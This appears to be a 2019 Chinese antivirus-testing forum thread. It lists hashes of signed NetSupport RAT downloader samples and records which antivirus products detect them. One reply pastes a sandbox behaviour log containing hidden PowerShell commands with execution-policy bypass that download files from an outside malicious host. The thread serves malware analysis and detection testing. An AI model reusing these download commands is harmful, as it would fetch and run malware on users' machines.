#RAT (19.03.03)

显示全部楼层 · 发表于 2019-3-3 12:16:23

https://twitter.com/James_inthe_box/status/1099365566928760834
https://twitter.com/malwrhunterteam/status/1101017244014919680
https://twitter.com/malwrhunterteam/status/1101805721233092609

#Signed #RAT #Downloader #NetSupport #LowAVDetection

43B55685945D2CECC170B850CF622038 7ZSfxMod.exe
DFC26D0811E5990ED70C9472669C02F3 7ZSfxMod2.exe
78184CA66E1774598B96188F977F0687 7ZSfxMod1.exe

复制代码

显示全部楼层 · 发表于 2019-3-3 12:19:35

Avast：3/3

显示全部楼层 · 发表于 2019-3-3 12:21:35

显示全部楼层 · 发表于 2019-3-3 12:40:41

本帖最后由 BE_HC 于 2019-3-3 12:45 编辑

Norton Scan Kill All

显示全部楼层 · 发表于 2019-3-3 12:40:47

Norton 三个入库

显示全部楼层 · 发表于 2019-3-3 12:51:49

显示全部楼层 · 发表于 2019-3-3 12:58:06

本帖最后由 BE_HC 于 2019-3-3 13:04 编辑

FSA

Date	Operation	Detail	Rating
2019-3-3 04:49:30	This file deleted files	FilePath: %TEMP%\dzasqr.cmd;	Low Risk
2019-3-3 04:49:26	This file spawned process(es)	FilePath: %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe; Company: Microsoft Corporation; TargetPid: 3104; CmdLine: powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass $FAFQWW = New-Object System.Net.WebClient; $FAFQWW.Headers['User-Agent'] = 'Command'; $FAFQWW.downloadfile('http://ilililililililililililili.com/sdfsdfs/1111z.php','C:\Users\Administrator\AppData\Roaming\10223.7z');; Version: 6.1.7600.16385 (win7_rtm.090713-1255); FileSize: 452608; Signer: Microsoft Windows; Icon: backup\24e7ab822de8e9b8edf7000fc9f64e0d.ico;	Low Risk
2019-3-3 04:49:21	This file spawned process(es)	FilePath: %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe; Company: Microsoft Corporation; TargetPid: 3040; CmdLine: powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass $FAFQWW = New-Object System.Net.WebClient; $FAFQWW.Headers['User-Agent'] = 'Command'; $FAFQWW.downloadfile('http://ilililililililililililili.com/sdfsdfs/2222z.php','C:\Users\Administrator\AppData\Roaming\7za.exe');; Version: 6.1.7600.16385 (win7_rtm.090713-1255); FileSize: 452608; Signer: Microsoft Windows; Icon: backup\24e7ab822de8e9b8edf7000fc9f64e0d.ico;	Medium Risk
2019-3-3 04:57:03	This file spawned process(es)	FilePath: %SYSTEMROOT%\System32\cmd.exe; Company: Microsoft Corporation; TargetPid: 2820; CmdLine: cmd /c ""C:\Users\ADMINI~1\AppData\Local\Temp\dzasqr.cmd" "; Version: 6.1.7600.16385 (win7_rtm.090713-1255); FileSize: 301568; Signer: Microsoft Windows; Icon: backup\025ba5ef2cd0a38da0897cfcc8d21451.ico;	Medium Risk
2019-3-3 04:57:03	This file modified files	FilePath: %TEMP%\dzasqr.cmd;	Low Risk

显示全部楼层 · 发表于 2019-3-3 13:03:45

CCAV kill one。沙盒运行无反应

显示全部楼层 · 发表于 2019-3-3 13:19:07

360 金山 MISS

显示全部楼层 · 发表于 2019-3-3 13:20:30

本帖最后由 ziyerain2015 于 2019-3-3 13:23 编辑

360KILL

[病毒样本] #RAT (19.03.03)

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源